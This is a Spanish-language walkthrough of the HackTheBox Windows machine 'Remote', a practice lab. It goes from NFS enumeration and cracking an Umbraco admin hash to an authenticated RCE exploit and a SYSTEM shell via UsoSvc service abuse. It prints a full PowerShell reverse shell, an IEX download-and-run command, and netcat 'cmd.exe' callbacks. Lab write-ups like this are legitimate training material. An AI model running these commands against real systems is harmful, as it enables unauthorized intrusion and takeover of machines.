Remote es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Windows.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Remote 10.10.10.180 a /etc/hosts como remote.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
# Nmap 7.80 scan initiated Sun May 10 13:38:30 2020 as: nmap -sV -Pn -oA remote-nmap 10.10.10.180 Nmap scan report for 10.10.10.180 Host is up (0.16s latency). Not shown: 993 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 111/tcp open rpcbind 2-4 (RPC #100000) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 2049/tcp open mountd 1-3 (RPC #100005) Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun May 10 13:41:34 2020 -- 1 IP address (1 host up) scanned in 184.30 seconds |
Lanzamos un primer escaneo y vemos varios servicios abiertos que son interesantes, abrimos de primeras el portal web existente en el puerto 80 y nos encontramos con lo siguiente:
Vemos alguna página que podría ser interesante pero vamos a verificar si en el puerto 2049 (nfs) visto antes, no podemos encontrar más información. Lanzamos de nuevo nmap, pero esta vez contra dicho servicio concreto:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
# Nmap 7.80 scan initiated Sun May 10 13:41:14 2020 as: nmap -sV --script=nfs-showmount -oA remote-nfs 10.10.10.180 Nmap scan report for 10.10.10.180 Host is up (0.13s latency). Not shown: 993 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 111/tcp open rpcbind 2-4 (RPC #100000) | nfs-showmount: |_ /site_backups | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/tcp6 rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 2,3,4 111/udp6 rpcbind | 100003 2,3 2049/udp nfs | 100003 2,3 2049/udp6 nfs | 100003 2,3,4 2049/tcp nfs | 100003 2,3,4 2049/tcp6 nfs | 100005 1,2,3 2049/tcp mountd | 100005 1,2,3 2049/tcp6 mountd | 100005 1,2,3 2049/udp mountd | 100005 1,2,3 2049/udp6 mountd | 100021 1,2,3,4 2049/tcp nlockmgr | 100021 1,2,3,4 2049/tcp6 nlockmgr | 100021 1,2,3,4 2049/udp nlockmgr | 100021 1,2,3,4 2049/udp6 nlockmgr | 100024 1 2049/tcp status | 100024 1 2049/tcp6 status | 100024 1 2049/udp status |_ 100024 1 2049/udp6 status 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 2049/tcp open mountd 1-3 (RPC #100005) | nfs-showmount: |_ /site_backups Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun May 10 13:42:49 2020 -- 1 IP address (1 host up) scanned in 94.63 seconds |
Y, tal como esperábamos, hemos descubierto más información como la ruta del punto de montaje, /site_backups.
Enumeración
Continuamos montando el nfs descubierto a continuación:
1 |
$ mount -o nfsvers=4 -t nfs 10.10.10.180:/site_backups nfs |
Revisamos los ficheros existentes en el mismo y encontramos varios ficheros interesantes en la carpeta App_Data pertenecientes al CMS umbraco:
1 2 3 4 5 6 7 8 9 |
$ ls -l App_Data/ total 1969 drwx------ 2 nobody 4294967294 64 feb 20 18:16 cache drwx------ 2 nobody 4294967294 4096 feb 20 18:16 Logs drwx------ 2 nobody 4294967294 4096 feb 20 18:16 Models drwx------ 2 nobody 4294967294 64 feb 20 18:16 packages drwx------ 2 nobody 4294967294 4096 feb 20 18:16 TEMP -rwx------ 1 nobody 4294967294 36832 feb 20 07:59 umbraco.config -rwx------ 1 nobody 4294967294 1965978 feb 20 07:05 Umbraco.sdf |
Obtenemos la versión del mismo que es la 7.12.4 y un hash del usuario admin en el fichero Umbraco.sdf:
1 2 3 |
$ strings Umbraco.sdf |grep adminadmin adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50 adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f |
Se trata de un hash sha1 así que tratamos de descifrar el mismo y obtenemos la siguiente password:
1 |
b8be16afba8c314ad33d812f22a04991b90e2aaa : baconandcheese |
Conociendo la versión del CMS buscamos en google si tiene alguna vulnerabilidad importante que nos ayude a continucar y descubrimos un exploit Umbraco-RCE, así que nos descargamos el mismo y probaremos a explotar la vulnerabilidad.
La sintaxis del exploit es la siguiente:
1 |
usage: exploit.py [-h] -u USER -p PASS -i URL -c CMD [-a ARGS] |
Así que nos creamos una reverse shell en powershell para ejecutarla en la máquina víctima, en nuestro caso la hemos llamado reverse.ps1
1 2 3 |
$client = New-Object System.Net.Sockets.TCPClient('10.10.x.x',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() $sm=(New-Object Net.Sockets.TCPClient('10.10.x.x',4444)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)} |
Nos levantamos un servidor http con python:
1 2 |
$ python3 -m http.server 12312 Serving HTTP on 0.0.0.0 port 12312 (http://0.0.0.0:12312/) ... |
Y ejecutamos el exploit:
1 |
$ python exploit.py -u admin@htb.local -p baconandcheese -i http://remote.htb -c powershell.exe -a "IEX (New-Object Net.WebClient).DownloadString('http://10.10.x.x:12312/reverse.ps1')" |
Levantamos una escucha y a los pocos segundos conseguimos una shell en la máquina:
1 2 3 4 5 6 7 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.x.x] from remote.htb [10.10.10.180] 49784 whoami iis apppool\defaultapppool C:\windows\system32\inetsrv |
Obteniendo la flag de user
Ahora que ya tenemos una shell probamos a obtener la flag de user y listo, tenemos la primera:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.x.x] from remote.htb [10.10.10.180] 49784 whoami iis apppool\defaultapppool PS C:\windows\system32\inetsrv> cd .. PS C:\windows\system32> cd .. PS C:\windows> cd .. PS C:\> cd Users PS C:\Users> cd Public PS C:\Users\Public> dir Directory: C:\Users\Public Mode LastWriteTime Length Name ---- ------------- ------ ---- d-r--- 2/19/2020 3:03 PM Documents d-r--- 9/15/2018 3:19 AM Downloads d-r--- 9/15/2018 3:19 AM Music d-r--- 9/15/2018 3:19 AM Pictures d-r--- 9/15/2018 3:19 AM Videos -ar--- 5/10/2020 5:13 AM 34 user.txt PS C:\Users\Public> |
Escalado de privilegios
Ahora para escalar a system, lo primero que vamos a hacer es enumerar todo lo posible con la idea de obtener información del sistema, utilizaremos el script de PowerUp.ps1
Nos descargaremos el mismo y lo subiremos a la máquina:
1 |
invoke-webrequest -Uri http://10.10.15.228:12312/PowerUp.ps1 -OutFile powerup.ps1 |
Ahora que lo tenemos ejecutaremos powershell:
1 |
C:\temp>powershell -ep bypass |
Importaremos el módulo al sistema:
1 |
PS C:\temp> Import-Module c:\temp\powerup.ps1 |
Lo ejecutamos:
1 |
PS C:\temp> . .\powerup.ps1 |
Y lanzaremos los chequeos:
1 |
PS C:\temp> Invoke-AllChecks | Out-File -Encoding ASCII checks.txt |
Que nos darán los siguientes resultados:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
Invoke-AllChecks [*] Running Invoke-AllChecks [*] Checking if user is in a local group with administrative privileges... [*] Checking for unquoted service paths... [*] Checking service executable and argument permissions... [*] Checking service permissions... ServiceName : UsoSvc Path : C:\Windows\system32\svchost.exe -k netsvcs -p StartName : LocalSystem AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc' CanRestart : True [*] Checking %PATH% for potentially hijackable DLL locations... Test-Path : Access is denied At C:\temp\powerup.ps1:856 char:46 + ... if($ParentPath -and (Test-Path -Path $ParentPath)) { + ~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : PermissionDenied: (C:\Windows\syst...Local\Microsoft:String) [Test-Path], UnauthorizedAc cessException + FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.TestPathCommand [*] Checking for AlwaysInstallElevated registry key... [*] Checking for Autologon credentials in registry... [*] Checking for modifidable registry autoruns and configs... [*] Checking for modifiable schtask files/configs... [*] Checking for unattended install files... UnattendPath : C:\Windows\Panther\Unattend.xml [*] Checking for encrypted web.config strings... [*] Checking for encrypted application pool and virtual directory passwords... [*] Checking for plaintext passwords in McAfee SiteList.xml files.... [*] Checking for cached Group Policy Preferences .xml files.... |
Si revisamos la salida anterior observamos que el servicio UsoSvc es vulnerable:
1 2 3 4 5 6 |
[*] Checking service permissions... ServiceName : UsoSvc Path : C:\Windows\system32\svchost.exe -k netsvcs -p StartName : LocalSystem AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc' CanRestart : True |
Así que nos descargamos nc y lo subimos a la máquina:
1 |
invoke-webrequest -Uri http://10.10.x.x:12312/nc64.exe -OutFile nc64.exe |
Y probamos con el comando Invoke-ServiceAbuse:
1 |
Invoke-ServiceAbuse -Name 'UsoSvc' -Command "c:\temp\nc64.exe -e cmd.exe 10.10.x.x 2222" |
Parece que se ejecuta bien pero no conseguimos nuestra shell así que vamos a probar editando el binarypath del servicio para conseguir nuestra shell.
Pararemos entonces nuestro servicio, editaremos el binarypath y lo levantaremos de nuevo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
PS C:\temp> sc.exe start usosvc PS C:\temp> sc.exe config UsoSvc binpath="C:\temp\nc64.exe -e cmd.exe 10.10.x.x 4445" [SC] ChangeServiceConfig SUCCESS PS C:\temp> sc.exe qc usosvc sc.exe qc usosvc [SC] QueryServiceConfig SUCCESS SERVICE_NAME: usosvc TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 2 AUTO_START (DELAYED) ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\temp\nc64.exe -e cmd.exe 10.10.x.x 4445 LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Update Orchestrator Service DEPENDENCIES : rpcss SERVICE_START_NAME : LocalSystem PS C:\temp> sc.exe start usosvc sc.exe start usosvc |
Y ahora sí, tenemos la shell como system:
1 2 3 4 5 6 7 8 9 |
$ nc -lvnp 4445 listening on [any] 4445 ... connect to [10.10.x.x] from (UNKNOWN) [10.10.10.180] 49730 Microsoft Windows [Version 10.0.17763.107] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami nt authority\system |
Obteniendo la flag de root
Una vez conseguida la shell como system, sólo nos queda ir a la home del usuario administrador a por nuestra flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
C:\Windows\system32>dir c:\users\administrator\desktop dir c:\users\administrator\desktop Volume in drive C has no label. Volume Serial Number is BE23-EB3E Directory of c:\users\administrator\desktop 02/20/2020 03:41 AM <DIR> . 02/20/2020 03:41 AM <DIR> .. 05/10/2020 05:10 PM 34 root.txt 1 File(s) 34 bytes 2 Dir(s) 19,383,238,656 bytes free C:\Windows\system32> |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.